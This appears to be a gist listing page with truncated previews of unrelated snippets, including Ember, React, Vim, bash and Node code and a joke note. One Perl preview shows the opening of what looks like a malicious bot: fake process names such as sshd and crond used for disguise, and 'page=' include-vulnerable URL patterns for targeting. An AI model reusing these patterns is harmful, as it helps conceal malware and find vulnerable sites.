This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Make all controllers have a reference to the alerts controller. | |
# Kudos 1 - `needs` is a `concatenatedProperty`, so that specifying it further | |
# in the iheritance chain it gets added up | |
Ember.ControllerMixin.reopen( | |
needs: ['alerts'] | |
alert: (message, type) -> | |
@get('controllers.alerts').pushObject( | |
type: type || 'success' | |
message: message |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
App.TimeInputComponent = Ember.Component.extend( | |
MAX_TIME: 99 * 60 + 59 | |
didInsertElement: () -> | |
if @get('value') | |
@set('inputValue', @formatValue(@get('value'))) | |
classNames: ['time-input-component'] | |
classNameBindings: ['focused:focused'] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
fu! ZoomWindow() | |
let [l:i, l:max, l:min] = [1, 0, 999999] | |
while winwidth(l:i) > 0 | |
if winwidth(l:i) > l:max | |
let l:max = winwidth(l:i) | |
endif | |
if winwidth(l:i) < l:min | |
let l:min = winwidth(l:i) | |
endif | |
let l:i = l:i + 1 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
tmpfile="/tmp/__our_temp" | |
scripts_root="$(git root)/app/scripts" | |
esc_root=${scripts_root//\//\\/} | |
files=`find $scripts_root -type f -print` | |
for file in $files; do | |
line1=$(sed -ne '1p' $file) | |
if (echo $line1 | grep -q ^App); then | |
echo File $file matches. Adding default jsdoc comments. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/perl | |
my $processo =("suid","/usr/sbin/sshd","rpc.idmapd","auditd","crond","klogd -x"); | |
my @titi = ("index.php?page=","main.php?page="); | |
my $goni = $titi[rand scalar @titi]; | |
my $linas_max='3'; | |
my $sleep='7'; | |
my @adms=("Alex","G"); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
while read line; do | |
segments=(${line// - / }) | |
id=${segments[0]} | |
asset_type=${segments[1]} | |
attch_id=${segments[2]} | |
url=${segments[3]} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
screens: [ScreenInfo, ScreenBookingDates, ScreenBookingAddons], | |
renderScreens: function(screens) { | |
var _this = this; | |
return screens.map(function(Screen) { | |
return <Screen {..._this.props} /> | |
}); | |
}, | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
componentDidUpdate: function(prevProps, prevState) { | |
var _this = this, shouldTransition, shouldStartAnimation; | |
shouldStartAnimation = this.state.transitionStarted && !this.state.isTransitioning; | |
if (shouldStartAnimation) { | |
this.setState({ isTransitioning: true }); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env node | |
var fs = require('fs'); | |
var har = JSON.parse(fs.readFileSync(process.argv[2])), | |
cmds; | |
cmds = har.log.entries.map(function(entry) { | |
var cmd = []; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Ough, | |
I have reasons to believe that there is a significant probability such that I | |
would have secured for myself a female currently occupying the role of a cheerleader. |
OlderNewer